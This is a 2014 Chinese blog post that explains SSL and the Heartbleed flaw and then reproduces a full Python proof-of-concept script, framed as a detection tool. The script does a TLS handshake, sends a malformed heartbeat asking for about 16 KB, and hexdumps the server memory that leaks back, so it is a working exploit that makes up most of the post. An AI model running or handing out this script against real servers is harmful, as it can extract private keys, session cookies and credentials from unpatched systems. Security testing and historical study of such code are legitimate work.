一个检测OpenSSL心脏出血漏洞的Python脚本分享


Posted in Python onApril 10, 2014

什么是SSL?

SSL是一种流行的加密技术,可以保护用户通过互联网传输的隐私信息。网站采用此加密技术后,第三方无法读取你与该网站之间的任何通讯信息。在后台,通过SSL加密的数据只有接收者才能解密。

SSL最早在1994年由网景推出,1990年代以来已经被所有主流浏览器采纳。

什么是“心脏出血”漏洞?

SSL标准包含一个心跳选项,允许SSL连接一端的电脑发出一条简短的信息,确认另一端的电脑仍然在线,并获取反馈。研究人员发现,可以通过巧妙的手段发出恶意心跳信息,欺骗另一端的电脑泄露机密信息。受影响的电脑可能会因此而被骗,并发送服务器内存中的信息。

谁发现的这个问题?

该漏洞是由Codenomicon和谷歌安全部门的研究人员独立发现的。为了将影响降到最低,研究人员已经与OpenSSL团队和其他关键的内部人士展开了合作,在公布该问题前就已经准备好修复方案。

检测OpenSSL心脏出血漏洞的Python脚本

#!/usr/bin/python# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')
hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01                                 
''')
hb = h2bin('''
18 03 02 00 03
01 40 00
''')
def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        print '  %04x: %-48s %s' % (b, hxdat, pdat)
    print
def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata
 
def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay
def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False
        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True
        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False
def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print 'Connecting...'
    sys.stdout.flush()
    s.connect((args[0], opts.port))
    print 'Sending Client Hello...'
    sys.stdout.flush()
    s.send(hello)
    print 'Waiting for Server Hello...'
    sys.stdout.flush()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            print 'Server closed connection without sending Server Hello.'
            return
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            break
    print 'Sending heartbeat request...'
    sys.stdout.flush()
    s.send(hb)
    hit_hb(s)
if __name__ == '__main__':
    main()
Python 相关文章推荐
跟老齐学Python之坑爹的字符编码
Sep 28 Python
python列表操作实例
Jan 14 Python
Python教程之全局变量用法
Jun 27 Python
Python输出由1,2,3,4组成的互不相同且无重复的三位数
Feb 01 Python
Python走楼梯问题解决方法示例
Jul 25 Python
Python3爬虫教程之利用Python实现发送天气预报邮件
Dec 16 Python
对Python之gzip文件读写的方法详解
Feb 08 Python
django多个APP的urls设置方法(views重复问题解决)
Jul 19 Python
Python中的sys.stdout.write实现打印刷新功能
Feb 21 Python
基于Python数据分析之pandas统计分析
Mar 03 Python
Django choices下拉列表绑定实例
Mar 13 Python
VSCode中autopep8无法运行问题解决方案(提示Error: Command failed,usage)
Mar 02 Python
Python删除指定目录下过期文件的2个脚本分享
Apr 10 #Python
python实现随机密码字典生成器示例
Apr 09 #Python
Python下的Mysql模块MySQLdb安装详解
Apr 09 #Python
使用python实现递归版汉诺塔示例(汉诺塔递归算法)
Apr 08 #Python
python计算圆周长、面积、球体体积并画出圆
Apr 08 #Python
python实现类似ftp传输文件的网络程序示例
Apr 08 #Python
Python collections模块实例讲解
Apr 07 #Python
You might like
PHP 命名空间实例说明
2011/01/27 PHP
php的sso单点登录实现方法
2015/01/08 PHP
php绘制一条弧线的方法
2015/01/24 PHP
PHP中开启gzip压缩的2种方法
2015/01/31 PHP
PHP反射API示例分享
2016/10/08 PHP
Laravel 5.5基于内置的Auth模块实现前后台登陆详解
2017/12/21 PHP
JS 容错处理代码, 屏蔽错误信息
2021/03/09 Javascript
jQuery 自动增长的文本输入框实现代码
2010/04/02 Javascript
jQuery1.3.2 升级到jQuery1.4.4需要修改的地方
2011/01/06 Javascript
javascript模拟的Ping效果代码 (Web Ping)
2011/03/13 Javascript
修复bash漏洞的shell脚本分享
2014/12/31 Javascript
NodeJS中Buffer模块详解
2015/01/07 NodeJs
在jQuery中处理XML数据的大致方法
2015/08/14 Javascript
jquery实现全选、反选、获得所有选中的checkbox
2020/09/13 Javascript
详解js前端代码异常监控
2017/01/11 Javascript
100多个基础常用JS函数和语法集合大全
2017/02/16 Javascript
jquery获取select,option所有的value和text的实例
2017/03/06 Javascript
小程序Request的另类用法详解
2019/08/09 Javascript
JS面向对象编程基础篇(三) 继承操作实例详解
2020/03/03 Javascript
使用 Python 快速实现 HTTP 和 FTP 服务器的方法
2019/07/22 Python
python用win32gui遍历窗口并设置窗口位置的方法
2019/07/26 Python
python+selenium 点击单选框-radio的实现方法
2019/09/03 Python
python中的split、rsplit、splitlines用法说明
2020/10/23 Python
基督教卡片、励志礼品、家居装饰等:DaySpring
2018/10/12 全球购物
采购部主管岗位职责
2014/01/01 职场文书
工厂保安员岗位职责
2014/01/31 职场文书
愚人节活动策划方案
2014/03/11 职场文书
班子个人四风问题整改措施
2014/10/04 职场文书
老公保证书怎么写
2015/02/26 职场文书
留学推荐信英文范文
2015/03/26 职场文书
介绍信格式样本
2015/05/05 职场文书
小学六一儿童节活动总结
2015/05/05 职场文书
2015年预算员工作总结
2015/05/14 职场文书
2015初中团支部工作总结
2015/07/21 职场文书
2016年七夕情人节宣传语
2015/11/25 职场文书
八年级作文之友谊
2019/12/02 职场文书